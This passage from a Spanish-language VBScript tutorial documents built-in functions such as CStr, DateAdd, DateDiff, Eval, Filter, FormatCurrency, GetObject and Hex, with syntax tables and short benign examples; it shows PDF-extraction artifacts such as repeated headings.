En general, puede documentar su código con funciones de conversión de tipos de datos para mostrar que el resultado de alguna operación se debería expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CStr para forzar que el resultado se exprese como String.

Debería usar la función CStr en lugar de Str para proporcionar conversiones internacionales estándar desde cualquier otro tipo de datos al subtipo String. Por ejemplo, distintos separadores decimales y de miles se reconocen correctamente según la configuración regional de su sistema.

Page 22: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 22

Los datos almacenados en expresión determinan el valor devuelto de acuerdo con la siguiente tabla:

Si expresión es CStr devuelve

Boolean Un valor de tipo String que contiene True o False.

Date Un valor de tipo String que contiene una fecha en formato de fecha corta de su sistema.

Null Un error en tiempo de ejecución.

Empty Un valor de tipo String de longitud cero ("").

Error Un valor de tipo String que contiene la palabra Error seguido por el número de error.

Otro valor numérico Un valor de tipo String contiene el número.

El siguiente ejemplo usa la función CStr para convertir un valor numérico en String:

Dim MiDoble, MiCadena MiDoble = 437.324 ' MiDoble es de tipo Double. MiCadena = CStr(MiDoble) ' MiCadena contiene "437.324".

Función DateFunción DateFunción DateFunción Date

Descripción

Devuelve la fecha actual del sistema.

Sintaxis

Date

Comentarios

El siguiente ejemplo usa la función Date para devolver la fecha actual del sistema: Dim MiFecha MiFecha = Date ' MiFecha contiene la fecha actual del sistema.

Función DateAddFunción DateAddFunción DateAddFunción DateAdd

Descripción

Devuelve una fecha a la que se agregó un intervalo de tiempo especificado.

Sintaxis

DateAdd(intervalo, número, fecha)

La sintaxis de la función DateAdd tiene las siguientes partes:

Parte Descripción

intervalo Requerido. Expresión de cadena que es el intervalo que desea agregar. Consulte la sección Valores para saber cuáles son los valores permitidos.

número Requerido. Expresión numérica que es el número de intervalo que desea agregar. La expresión numérica puede ser positiva, para fechas futuras, o negativas, para fechas pasadas.

Page 23: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 23

fecha Requerido. Variant o literal que representa la fecha a la que se agrega intervalo.

Valores

El argumento intervalo puede tener los siguientes valores:

Valor Descripción

yyyy Año

q Trimestre

m Mes

y Día del año

d Día

w Día de la semana

ww Semana del año

h Hora

n Minuto

s Segundo

Comentarios

Puede usar la función DateAdd para sumar o restar un intervalo de tiempo especificado a una fecha. Por ejemplo, puede usar DateAdd para calcular una fecha 30 días a partir de hoy o una hora 45 minutos desde ahora. Para agregar días a fecha, puede usar Día del año ("y"), Día ("d") o Día de la semana ("w").

La función DateAdd no devolverá una fecha no válida. El siguiente ejemplo suma un mes al 31 de enero:

Nuevafecha = DateAdd("m", 1, "31-Ene-95") En este caso, DateAdd devuelve 28-Feb-95, no 31-Feb-95. Si fecha es 31-Ene-96, devuelve 29-Feb-96 porque 1996 es un año bisiesto.

Si la fecha calculada es anterior al año 100, se produce un error.

Si el número no es un valor de tipo Long, se redondea al número entero más cercano antes de evaluarlo.

FFFFunción DateDiffunción DateDiffunción DateDiffunción DateDiff

Descripción

Devuelve el número de intervalos entre dos fechas.

Sintaxis

DateDiff(intervalo, fecha1, fecha2 [,primerdíasemana[, primerasemanaaño]])

La sintaxis de la función DateDiff tiene las siguientes partes:

Parte Descripción

intervalo Requerido. Expresión de cadena que es el intervalo que desea usar para calcular las diferencias entre fecha1 y fecha2. Consulte la sección Valores para saber cuáles son los valores permitidos.

Page 24: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 24

fecha1, fecha2 Requerido. Expresiones de fecha. Dos fechas que desea usar en el cálculo.

primerdíasemana Opcional. Constante que especifica el día de la semana. Si no se especifica, se asume Domingo. Consulte la sección Valores para saber cuáles son los valores permitidos.

primerasemanaaño Opcional. Constante que especifica la primera semana del año. Si no se especifica, se asume que la primera semana es la semana del 1 de enero. Consulte la sección Valores para saber cuáles son los valores permitidos.

Valores

El argumento intervalo puede tener los siguientes valores:

Valor Descripción

yyyy Año

q Trimestre

m Mes

y Día del año

d Día

w Día de la semana

ww Semana del año

h Hora

n Minuto

s Segundos

El argumento primerdíasemana puede tener los siguientes valores:

Constante Valor Descripción

vbUseSystem 0 Usar la configuración de API NLS.

vbSunday 1 Domingo (predeterminado)

vbMonday 2 Lunes

vbTuesday 3 Martes

vbWednesday 4 Miércoles

vbThursday 5 Jueves

vbFriday 6 Viernes

vbSaturday 7 Sábado

El argumento primerasemanaaño puede tener los siguientes valores:

Constante Valor Descripción

vbUseSystem 0 Usar configuración de API NLS.

vbFirstJan1 1 Comienza con la semana del 1 de enero(predeterminado).

vbFirstFourDays 2 Comienza con la semana que tiene al menos cuatro días en el nuevo año.

vbFirstFullW eek 3 Comienza con la primera semana completa del nuevo año.

Comentarios

Page 25: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 25

Puede usar la función DateDiff para determinar cuántos intervalos de tiempo especificados existen entre dos fecha. Por ejemplo, puede usar DateDiff para calcular el número de días que existen entre dos fechas o el número de semanas que existen entre la fecha actual y el final del año.

Para calcular el número de días que existen entre fecha1 y fecha2, puede usar Día del año ("y") o Día ("d"). Cuando intervaloes igual a Día de la semana ("w"), DateDiff devuelve el número de semanas que existen entre dos fechas. Si fecha1 es lunes, DateDiff cuenta cuántos lunes hay hasta fecha2. Cuenta fecha2 pero no fecha1. Sin embargo, si intervalo es Semana ("ww"), la función DateDiff devuelve el número de semanas de calendario que existen entre las dos fechas. Cuenta cuántos domingos hay entre fecha1 y fecha2. DateDiff cuenta fecha2 si es domingo; pero no cuenta fecha1, aunque sea domingo.

Si fecha1 hace referencia a un punto posterior en el tiempo que fecha2, la función DateDiff devuelve un número negativo.

El argumento primerdíasemana afecta a los cálculos que usan los símbolos de intervalo "w" y "ww".

Si fecha1 o fecha2 es un literal de fecha, el año especificado se convierte en una parte permanente de la fecha. Sin embargo, si fecha1 o fecha2 se encierra entre comillas (" ") y omite el año, el año actual se inserta en su código cada vez que se evalúa la expresión fecha1 o fecha2. Esto hace posible escribir código que se puede usar en distintos años.

Al comparar el 31 de diciembre con el 1 de enero del año inmediatamente posterior, DateDiff para Año ("yyyy") devuelve 1 aunque sólo haya transcurrido un año.

El siguiente ejemplo usa la función DateDiff para mostrar el número de días que existen entre una fecha especificada y la fecha actual:

Function DiferenciaEntreFechas(laFecha) DiferenciaEntreFechas = "Días desde hoy: " & DateDiff("d", Now, laFecha) End Function

Función DatePartFunción DatePartFunción DatePartFunción DatePart

Descripción

Devuelve la parte especificada de una fecha determinada.

Sintaxis

DatePart(intervalo, fecha[, primerdíasemana[, primerasemanaaño]])

La sintaxis de la función DatePart tiene las siguientes partes:

Parte Descripción

intervalo Requerido. Expresión de cadena que es el intervalo de tiempo que desea devolver. Consulte la sección Valores para saber cuáles son los valores permitidos.

fecha Requerido. Expresión de fecha que desea evaluar.

primerdíasemana Opcional. Constante que especifica el día de la semana. Si no se especifica, se asume Domingo. Consulte la sección Valores para saber cuáles son los valores permitidos.

primerasemanaaño Opcional. Constante que especifica la primera semana del año. Si no se especifica, se asume que la primera semana es la semana del 1 de enero. Consulte la sección Valores para saber cuáles son los valores permitidos.

Valores

El argumento intervalo puede tener los siguientes valores:

Page 26: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 26

Valor Descripción

yyyy Año

q Trimestre

m Mes

y Día del año

d Día

w Día de la semana

ww Semana del año

h Hora

n Minuto

s Segundo

El argumento primerdíasemana puede tener los siguientes valores:

Constante Valor Descripción

vbUseSystem 0 Usar configuración de API NLS.

vbSunday 1 Domingo (predeterminado)

vbMonday 2 Lunes

vbTuesday 3 Martes

vbWednesday 4 Miércoles

vbThursday 5 Jueves

vbFriday 6 Viernes

vbSaturday 7 Sábado

El argumento primerasemanaaño puede tener los siguientes valores:

Constante Valor Descripción

vbUseSystem 0 Usar configuración de API NLS.

vbFirstJan1 1 Comienza con la semana del 1 de enero (predeterminado).

vbFirstFourDays 2 Comienza con la semana que tiene al menos cuatro días en el nuevo año.

vbFirstFullWeek 3 Comienza con la primera semana completa del nuevo año.

Comentarios

Puede usar la función DatePart para evaluar una fecha y devolver un intervalo de tiempo específico. Por ejemplo, puede usar DatePart para calcular el día de la semana o la hora actual.

El argumento primerdíasemana afecta a los cálculos que usan los símbolos de intervalo "w" y "ww".

Si fecha es un literal de fecha, el año especificado se convierte en una parte permanente de la fecha. Sin embargi, si fecha está encerrada entre comillas (" ") y omite el año, se inserta el año actual en el código cada vez que se evalúa la expresión fecha. Esto permite escribir código que se puede usar en distintos años.

Page 27: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 27

Este ejemplo recibe una fecha y, con la función DatePart, muestra el trimestre del año en el que se produce.

Function ObtenerTrimestre(laFecha) ObtenerTrimestre = DatePart("q", laFecha) End Function

Función DateSerialFunción DateSerialFunción DateSerialFunción DateSerial

Descripción

Devuelve un valor Variant de subtipo Date para un año, mes y día específicos.

Sintaxis

DateSerial(año, mes, día)

La sintaxis de la función DateSerial tiene los siguientes argumentos:

Parte Descripción

año Número entre 100 y 9999, inclusive, o una expresión numérica.

mes Cualquier expresión numérica.

día Cualquier expresión numérica.

Comentarios

Para especificar una fecha, como el 31 de diciembre de 1991, el intervalo de números para cada argumento de DateSerial debe estar dentro del intervalo aceptado para la unidad; es decir, entre 1 y 31 para los días y entre 1 y 12 para los meses. Sin embargo, también puede especificar fechas relativas para cada argumento mediante cualquier expresión numérica que representa alguna cantidad de días, meses o años anteriores o posteriores a una fecha determinada.

El siguiente ejemplo usa expresiones numéricas en lugar de números de fecha absolutos. Aquí, la función DateSerial devuelve una fecha que es el día anterior al primer día (1 – 1) de dos meses antes de agosto (8 – 2) de 10 años anteriores a 1990 (1990 – 10). En otras palabras, 31 de mayo de 1980.

Dim MiFecha1, MiFecha2 MiFecha1 = DateSerial(1970, 1, 1) ' Devuelve 1 de enero de 1970. MiFecha2 = DateSerial(1990 - 10, 8 - 2, 1 - 1) ' Devuelve 31 de mayo de 1980. Para el argumento año, los valores comprendidos entre 0 y 99, ambos incluidos, se interpretan como los años 1900 a 1999. Para todos los demás argumentos año, use un año completo de cuatro dígitos (por ejemplo, 1800).

Cuando cualquier argumento supera el intervalo aceptado para ese argumento, se incrementa a la siguiente unidad mayor según sea adecuado. Por ejemplo, si especifica 35 días, se evalúa como un mes y varios días, que dependen de la fecha del año en la que se aplique. Sin embargo, si cualquier argumento simple está fuera del intervalo comprendido entre -32,768 y 32,767, o si la fecha especificada por los tres argumentos, directamente o a través de la expresión, no está dentro del intervalo aceptable de fechas, se produce un error.

Función DateValueFunción DateValueFunción DateValueFunción DateValue

Page 28: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 28

Descripción

Devuelve un valor Variant del subtipo Date.

Sintaxis

DateValue(fecha)

Normalmente, el argumento fecha es una expresión de cadena que representa una fecha comprendida entre el 1 de enero del año 100 hasta el 31 de diciembre del año 9999. Sin embargo, fecha también puede ser cualquier expresión que pueda representar una fecha, una hora o ambos, en ese intervalo.

Comentarios

Si el argumento fecha incluye información de hora, DateValue no la devuelve. Sin embargo, si fecha incluye información no válida de hora (como "89:98"), se produce un error.

Si fecha es una cadena que sólo incluye números separados por separadores de fecha válidos, DateValue reconoce el orden para el día, mes y año según el formato de fecha corta que especificó para su sistema. DateValue también reconoce fechas no ambiguas que contiene nombre de meses, en formato largo o abreviado. Por ejemplo, además de reconocer 30/12/1991 y 30/12/91, DateValue también reconoce 30 de diciembre de 1991 y 30 dic de 1991.

Si se omite la parte del año de fecha, DateValue usa el año actual de la fecha del sistema de su equipo.

El siguiente ejemplo usa la función DateValue para convertir una cadena en una fecha. También puede usar literales de fecha para asignar una fecha directamente a una variable Variant, por ejemplo, MiFecha = #9/11/63#.

Dim MiFecha MiFecha = DateValue("11 de septiembre de 1963") ' Devuelve una fecha.

Función DayFunción DayFunción DayFunción Day

Descripción

Devuelve un número entero entre 1 y 31, ambos incluidos, que representa el día del mes.

Sintaxis

Day(fecha)

El argumento fecha es cualquier expresión que puede representar una fecha. Si fecha contiene Null, se devuelve Null.

El siguiente ejemplo usa la función Day para obtener el día del mes a partir de una fecha especificada:

Dim MiDia MiDia = Day("19 de octubre de 1962") ' MiDia contiene 19.

Función EvalFunción EvalFunción EvalFunción Eval

Descripción

Evalúa una expresión y devuelve el resultado.

Page 29: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 29

Sintaxis

[resultado = ]Eval(expresión)

La sintaxis de la función Eval consta de las siguientes partes:

Parte Descripción

resultado Opcional. Variable a la que se asigna el valor devuelto. Si no se especifica el resultado, considere si utilizar la instrucción Execute en su lugar.

expresión Necesario. Una cadena que contenga cualquier expresión permitida de VBScript.

Observaciones

En VBScript, x = y se puede interpretar de dos maneras. La primera es una instrucción de asignación, donde el valor de y se asigna a x. La segunda interpretación es como una expresión que prueba si x e y tienen el mismo valor. Si es así, el resultado es True; si no, el resultado es False. El método Eval siempre utiliza la segunda interpretación, mientras que la instrucción Execute siempre utiliza la primera.

Nota En Microsoft® JScript™, no hay confusión entre la asignación y la comparación porque el operador assignment (=) es diferente del operador de comparación (==).

El ejemplo siguiente muestra la utilización de la función Eval:

Sub AdivinaNúmero Dim Guess, RndNum RndNum = Int((100) * Rnd(1) + 1) Guess = CInt(InputBox("Escriba su estimación aproximada:",,0)) Do If Eval("Guess = RndNum") Then MsgBox "¡Enhorabuena! ¡Lo adivinó!" Exit Sub Else Adivina = CInt(InputBox("¡Lo siento! Inténtelo de nuevo.",,0)) End If Loop Until Guess = 0 End Sub

Función ExpFunción ExpFunción ExpFunción Exp

Descripción

Devuelve e (la base de los logaritmos naturales) elevado a una potencia.

Sintaxis

Exp(número)

El argumento número puede ser cualquier expresión numérica válida.

Comentarios

Si el valor de número supera 709.782712893, se produce un error. La constante e aproximadamente igual a 2.718282. Nota La función Exp complementa la acción de la función Log y a veces se le llama antilogaritmo

El siguiente ejemplo usa la función Exp para devolver e elevado a una potencia:

Page 30: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 30

Dim MiAngulo, MiSenoH ' Define el ángulo en radianes. MiAngulo = 1.3 ' Calcula el seno hiperbólico. MiSenoH = (Exp(MiAngulo) - Exp(-1 * MiAngulo)) / 2

Función FilterFunción FilterFunción FilterFunción Filter

Descripción

Devuelve una matriz basada en cero que contiene un subconjunto de una matriz de cadena basada en un criterio de filtro especificado.

Sintaxis

Filter(CadenasDeEntrada, Valor[, Incluir[, Comparación]])

La sintaxis de la función Filter tiene las siguientes partes:

Parte Descripción

CadenasDeEntrada Requerido. Matriz unidimensional de cadenas en la que se va a buscar.

Valor Requerido. Cadena que se va a buscar.

Incluir Opcional. Valor de tipo Boolean que indica si se deben devolver subcadenas que incluyen o excluyen Valor. Si Incluir es True, Filter devuelve el subconjunto de la matriz que contiene Valor como subcadena. Si Incluires False, Filter devuelve el subconjunto de la matriz que no contiene Valor como subcadena.

Comparación Opcional. Valor numérico que indica el tipo de comparación de cadena que se debe usar. Consulte la sección Valores para saber cuáles son los valores permitidos.

Valores

El argumento Comparación puede tener los siguientes valores:

Constante Valor Descripción

vbBinaryCompare 0 Realiza una comparación binaria.

vbTextCompare 1 Realiza una comparación de texto.

Comentarios

Si no se encuentran coincidencias de Valor dentro de CadenasDeEntrada, Filter devuelve una matriz vacía. Se produce un error si CadenasDeEntrada es Null o si no es una matriz unidimensional.

La matriz devuelta por la función Filter sólo tiene los elementos necesarios para contener el número de elementos encontrados.

El siguiente ejemplo usa la función Filter para devolver la matriz que contiene el criterio de búsqueda "Lun":

Dim MiIndice Dim MiMatriz (3) MiMatriz(0) = "Domingo" MiMatriz(1) = "Lunes" MiMatriz(2) = "Martes" MiIndice = Filter(MiMatriz, "Lun") ' MiIndice(0) contiene "Lunes"

Page 31: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 31

Funciones Int y FixFunciones Int y FixFunciones Int y FixFunciones Int y Fix

Descripción

Devuelve la parte entera de un número.

Sintaxis

Int(número)

Fix(número)

El argumento número puede ser cualquier expresión numérica válida. Si número contiene Null, se devuelve Null.

Comentarios

Int y Fix quitan la parte fraccional de número y devuelven el valor entero resultante.

La diferencia entre Int y Fix es que si número es negativo, Int devuelve el primer entero negativo menor o igual a número, mientras que Fix devuelve el primer entero negativo mayor o igual a número. Por ejemplo, Int convierte -8.4 a -9, y Fix convierte -8.4 a -8.

Fix(número) es equivalente a:

Sgn(número) * Int(Abs(número)) Los siguientes ejemplo muestran cómo devuelven partes enteras de números las funciones Int y Fix: MiNumero = Int(99.8) ' Devuelve 99. MiNumero = Fix(99.2) ' Devuelve 99. MiNumero = Int(-99.8) ' Devuelve -100. MiNumero = Fix(-99.8) ' Devuelve -99. MiNumero = Int(-99.2) ' Devuelve -100. MiNumero = Fix(-99.2) ' Devuelve -99.

Función FormatCurrencyFunción FormatCurrencyFunción FormatCurrencyFunción FormatCurrency

Descripción

Devuelve una expresión con formato como una valor de moneda, que usa el símbolo de moneda definido en el panel de control del sistema.

Sintaxis

FormatCurrency(Expresión[,NúmDígitosDespuésDeDecimal [,IncluirDígitoInicio [,UsarParéntesisParaNúmerosNegativos [,GrupoDígitos]]]])

La sintaxis de la función FormatCurrency tiene las siguientes partes:

Parte Descripción

Expresión Requerido. Expresión a la que se va a aplicar el formato.

NúmDígitosDespuésDeDecimal Opcional. Valor numérico que indica cúantos lugares se muestran a la derecha del decimal. El valor predeterminado es -1, que indica que se usa la configuración regional del equipo.

Page 32: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 32

IncluirDígitoInicio Opcional. Constante de tres estados que indica si se debe mostrar o no un cero inicial para valores fraccionarios. Consulte la sección Valores para saber cuáles son los valores permitidos.

UsarParéntesisParaNúmerosNegativos Opcional. Constante de tres estados que indica si se deben encerrar o no los valores negativos entre paréntesis. Consulte la sección Valores para saber cuáles son los valores permitidos.

GrupoDígitos Opcional. Constante de tres estados que indica si se deben agrupar o no los números con el delimitador de grupos especificado en la configuración regional del equipo. Consulte la sección Valores para saber cuáles son los valores permitidos.

Valores

Los argumentos IncluirDígitoInicio, UsarParéntesisParaNúmerosNegativos y GrupoDígitos tienen los siguientes valores:

Constante Valor Descripción

TristateTrue -1 True

TristateFalse 0 False

TristateUseDefault -2 Usa la configuración regional del equipo.

Comentarios

Cuando se omiten uno o más argumentos opcionales, los valores de los argumentos omitidos los proporciona la configuración regional del equipo. La posición del signo de moneda relativa al valor de moneda se determina con la configuración regional del sistema. Nota Toda la información de configuración se obtiene de la ficha Moneda de Configuración regional, excepto el cero inicial que se obtiene de la ficha Número.

El siguiente ejemplo usa la función FormatCurrency para dar formato de moneda a la expresión y asignarlo a MiMoneda:

Dim MiMoneda MiMoneda = FormatCurrency(1000) ' MiMoneda contiene $1000.00.

Función FormatDateTimeFunción FormatDateTimeFunción FormatDateTimeFunción FormatDateTime

Descripción

Devuelve una expresión con formato de fecha u hora.

Sintaxis

FormatDateTime(Fecha[, FormatoConNombre])

La sintaxis de la función FormatDateTime tiene las siguientes partes:

Parte Descripción

Fecha Requerido. Expresión de fecha a la que se va a aplicar el formato.

FormatoConNombre Opcional. Valor numérico que indica el formato de fecha y hora usado. Si se omite, se usa vbGeneralDate.

Valores

Page 33: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 33

El argumento FormatoConNombre tiene los siguientes valores:

Constante Valor Descripción

vbGeneralDate 0 Muestra una fecha o una hora. Si hay una parte que sea fecha, la muestra con formato de fecha corta. Si hay una parte que sea hora, la muestra con formato de hora largo. Si está presente, se muestran ambas partes.

vbLongDate 1 Muestra una fecha con el formato de fecha larga especificado en la configuración regional del equipo.

vbShortDate 2 Muestra una fecha con el formato de fecha corta especificado en la configuración regional del equipo.

vbLongTime 3 Muestra una hora con el formato de hora especificado en la configuración regional del equipo.

vbShortTime 4 Muestra una hora con el formato de 24 horas (hh:mm).

Comentarios

El siguiente ejemplo usa la función FormatDateTime para dar formato de fecha larga a la expresión y asignarla a MiFechaHora: Function ObtenerFechaActual ' FormatDateTime da formato a Date como fecha larga. ObtenerFechaActual = FormatDateTime(Date, 1) End Function

Función FormatNumberFunción FormatNumberFunción FormatNumberFunción FormatNumber

Descripción

Devuelve una expresión con formato de número.

Sintaxis

FormatNumber(Expresión [,NúmDígitosDespuésDeDecimal [,IncluirDígitoInicio [,UsarParéntesisParaNúmerosNegativos [,GrupoDígitos]]]])

La sintaxis de la función FormatNumber tiene las siguientes partes:

Parte Descripción

Expresión Requerido. Expresión a la que se va a aplicar formato.

NúmDígitosDespuésDeDecimal Opcional. Valor numérico que indica cúantos lugares se muestran a la derecha del decimal. El valor predeterminado es -1, que indica que se usa la configuración regional del equipo.

IncluirDígitoInicio Opcional. Constante de tres estados que indica si se debe mostrar o no un cero inicial para valores fraccionarios. Consulte la sección Valores para saber cuáles son los valores permitidos.

UsarParéntesisParaNúmerosNegativos Opcional. Constante de tres estados que indica si se deben encerrar o no los valores negativos entre paréntesis. Consulte la sección Valores para saber cuáles son los valores permitidos.

GrupoDígitos Opcional. Constante de tres estados que indica si se deben agrupar o no los números con el delimitador de grupos especificado en el Panel de control. Consulte la sección Valores para saber cuáles son los valores permitidos.

Valores

Page 34: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 34

Los argumentos IncluirDígitoInicio, UsarParéntesisParaNúmerosNegativos y GrupoDígitos tienen los siguientes valores:

Constante Valor Descripción

TristateTrue -1 True

TristateFalse 0 False

TristateUseDefault -2 Usa la configuración regional del equipo.

Comentarios

Cuando se omiten uno o más de los argumentos opcionales, los valores de los argumentos omitidos los proporciona la configuración regional del equipo. Nota Toda la información de configuración y valores se obtiene de la ficha Número de Configuración regional.

El siguiente ejemplo usa la función FormatNumber para dar formato a un número para que tenga cuatro lugares decimales:

Function EjemploDeFormatNumber Dim MiAngulo, MiSecante, MiNumero MiAngulo = 1.3 ' Define un ángulo en radianes. MiSecante = 1 / Cos(MiAngulo) ' Calcula la secante. EjemploDeFormatNumber = FormatNumber(MiSecante,4) ' Da formato a MiSecante para que tenga cuatro lugares decimales. End Function

Función FormatPercentFunción FormatPercentFunción FormatPercentFunción FormatPercent

Descripción

Devuelve una expresión con formato de porcentaje (multiplicada por 100) con una carácter % inicial.

Sintaxis

FormatPercent(Expresión[,NúmDígitosDespuésDeDecimal [,IncluirDígitoInicio [,UsarParéntesisParaNúmerosNegativos [,GrupoDígitos]]]])

La sintaxis de la función FormatPercent tiene las siguientes partes:

Parte Descripción

Expresión Requerido. Expresión a la que se va a aplicar formato.

NúmDígitosDespuésDeDecimal Opcional. Valor numérico que indica cúantos lugares se muestran a la derecha del decimal. El valor predeterminado es -1, que indica que se usa la configuración regional del equipo.

IncluirDígitoInicio Opcional. Constante de tres estados que indica si se debe mostrar o no un cero inicial para valores fraccionarios. Consulte la sección Valores para saber cuáles son los valores permitidos.

UsarParéntesisParaNúmerosNegativos Opcional. Constante de tres estados que indica si se deben encerrar o no los valores negativos entre paréntesis. Consulte la sección Valores para saber cuáles son los valores permitidos.

GrupoDígitos Opcional. Constante de tres estados que indica si se deben agrupar o no

Page 35: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 35

los números con el delimitador de grupos especificado en el Panel de control. Consulte la sección Valores para saber cuáles son los valores permitidos.

Valores

Los argumentos IncluirDígitoInicio, UsarParéntesisParaNúmerosNegativos y GrupoDígitos tienen los siguientes valores:

Constante Valor Descripción

TristateTrue -1 True

TristateFalse 0 False

TristateUseDefault -2 Usa la configuración regional del equipo.

Comentarios

Cuando se omiten uno o más argumentos opcionales, los valores de los argumentos omitidos los proporciona la configuración regional del sistema. Nota Toda la información de configuración y valores se obtiene de la ficha Número de Configuración regional.

El siguiente ejemplo usa la función FormatPercent para dar formato a una expresión como porcentaje:

Dim MiPorcentaje MiPorcentaje = FormatPercent(2/32) ' MiPorcentaje contiene 6.25%.

Función GetObjectFunción GetObjectFunción GetObjectFunción GetObject

Descripción

Devuelve una referencia a un objeto de Automatización desde un archivo.

Sintaxis

GetObject([nombrederuta] [, clase])

La sintaxis de la función GetObject tiene las siguientes partes:

Parte Descripción

nombrederuta Opcional; String. Ruta y nombre completos del archivo que contiene el objeto que desea recuperar. Si se omite nombrederuta, se requiere clase.

clase Opcional; String. Clase del objeto.

El argumento claseusa la sintaxis nombredeaplicación.tipodeobjeto y tiene las siguientes partes:

Parte Descripción

nombredeaplicación Requerido; String. Nombre de la aplicación que proporciona el objeto.

tipodeobjeto Requerido; String. Tipo o clase de objeto que desea crear.

Comentarios

Page 36: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 36

Use la función GetObject para tener acceso a un objeto de automatización desde un archivo y asignar el objeto a una variable de objeto. Use la instrucción Set para asignar el objeto devuelto por GetObject a la variable de objeto. Por ejemplo: Dim CADObject Set CADObject = GetObject("C:\CAD\SCHEMA.CAD") Cuando se ejecuta este código, se inicia la aplicación asociada con el nombre de ruta especificado y el objeto del archivo especificado se activa. Si nombrederuta es una cadena de longitud cero (""), GetObject devuelve una nueva instancia de objeto del tipo especificado. Si se omite el argumento nombrederuta, GetObject devuelve un objeto activo del tipo especificado. Si no existe ningún objeto del tipo especificado, se produce un error.

Algunas aplicaciones le permiten activar parte de un archivo. Agregue un signo de admiración (!) al final del nombre del archivo y, a continuación, agregue una cadena que identifique la parte del archivo que desea activar. Para obtener información acerca de cómo crear esta cadena, consulte la documentación de la aplicación que creó el objeto.

Por ejemplo, en una aplicación de dibujo podría tener varias capas de un dibujo almacenado en un archivo. Podría usar el siguiente código para activar una capa de un dibujo llamado SCHEMA.CAD:

Set ObjetoCapa = GetObject("C:\CAD\SCHEMA.CAD!Layer3") Si no especifica la clase de objeto, la automatización determina la aplicación que debe iniciar el objeto para activarlo, basado en el nombre de archivo proporcionado. Sin embargo, es posible que algunos archivos admitan más de una clase de objeto. Por ejemplo, un dibujo puede admitir tres tipos de objeto distintos: un objeto Application, un objeto Drawing y un objeto Toolbar, y todos forman parte del mismo archivo. Para especificar qué objeto desea activar en un archivo, use el argumento opcional clase. Por ejemplo: Dim MiObjeto Set MiObjeto = GetObject("C:\DIBUJOS\EJEMPLO.DRW", "FIGMENT.DRAWING") En el ejemplo anterior, FIGMENT es el nombre de una aplicación de dibujo y DRAWING es uno de los tipos de objeto que admite. Una vez activado un objeto, se hace referencia a él en el código mediante la variable de objeto definida. En el ejemplo anterior, se tiene acceso a las propiedades y métodos del nuevo objeto con la variable de objeto MiObjeto. Por ejemplo: MiObjeto.Line 9, 90 MiObjeto.InsertText 9, 100, "Hola mundo." MiObjeto.SaveAs "C:\DIBUJOS\EJEMPLO.DRW" Nota Use la función GetObject cuando hay una instancia actual del objeto o si desea crear el objeto con un archivo cargado. Si no hay una instancia actual y no desea iniciar el objeto con un archivo cargado, use la función CreateObject. Si un objeto se ha registrado como un objeto de una única instancia, sólo se crea una instancia del objeto, independientemente del número de veces que se ejecute CreateObject. Con un objeto de una única instancia, GetObject siempre devuelve la misma instancia cuando se llama con una sintaxis con cadena de longitud cero ("") y produce un error si se omite el argumento nombrederuta.

Función GetRefFunción GetRefFunción GetRefFunción GetRef

Descripción

Devuelve una referencia a un procedimiento que se puede enlazar a un evento.

Sintaxis

Set objeto.nombreEvento = GetRef(nombreProc)

La sintaxis de la función GetRef consta de las siguientes partes:

Parte Descripción

objeto Necesario. Nombre del objeto con el que se asocia el evento.

Page 37: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 37

evento Necesario. Nombre del evento al que se va a enlazar la función.

nombreProc Necesario. Cadena que contiene el nombre del procedimiento Sub o Function que se asocia con el evento.

Observaciones

La función GetRef le permite conectar un procedimiento VBScript (Function o Sub) a cualquier evento disponible en sus páginas DHTML (de HTML dinámico). El modelo de objetos DHTML proporciona información acerca de qué eventos están disponibles para sus diversos objetos.

En otros lenguajes de programación y de secuencias de comandos, se llama puntero de función a la funcionalidad que proporciona GetRef, es decir, se señala la dirección de un procedimiento que ejecutar cuando ocurre el evento especificado.

El ejemplo siguiente muestra la utilización de la función GetRef:

<SCRIPT LANGUAGE="VBScript"> Function PruebaGetRef() Dim Splash Splash = "PruebaGetRef Versión 1.0" & vbCrLf Splash = Splash & Chr(169) & " Organización 1998 " MsgBox Splash End Function Set Window.Onload = GetRef("PruebeGetRef") </SCRIPT>

Función HexFunción HexFunción HexFunción Hex

Descripción

Devuelve una cadena que representa el valor hexadecimal de un número.

Sintaxis

Hex(número)

El argumento número es cualquier expresión válida.

Comentarios

Si número no es un número entero, se redondea al número entero más cercano antes de evaluarlo.

Si número es Hex devuelve

Null Null .

Empty Cero (0).

Cualquier otro número Hasta ocho caracteres hexadecimales.

Puede representar números hexadecimales directamente precediendo los números en el intervalo adecuado con &H. Por ejemplo, &H10 representa 16 decimal en notación hexadecimal.

El siguiente ejemplo usa la función Hex para devolver el valor hexadecimal de un número:

Dim MiHex MiHex = Hex(5) ' Devuelve 5. MiHex = Hex(10) ' Devuelve A.

Page 38: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 38

MiHex = Hex(459) ' Devuelve 1CB.

Función TourFunción TourFunción TourFunción Tour

Descripción

Devuelve un número entero entre 0 y 23, ambos incluidos, que representa la hora del día.

Sintaxis

Hour(hora)

El argumento hora es cualquier expresión que pueda representar una hora. Si hora contiene Null, se devuelve Null.

El siguiente ejemplo usa la función Hour para obtener la hora a partir de la hora actual:

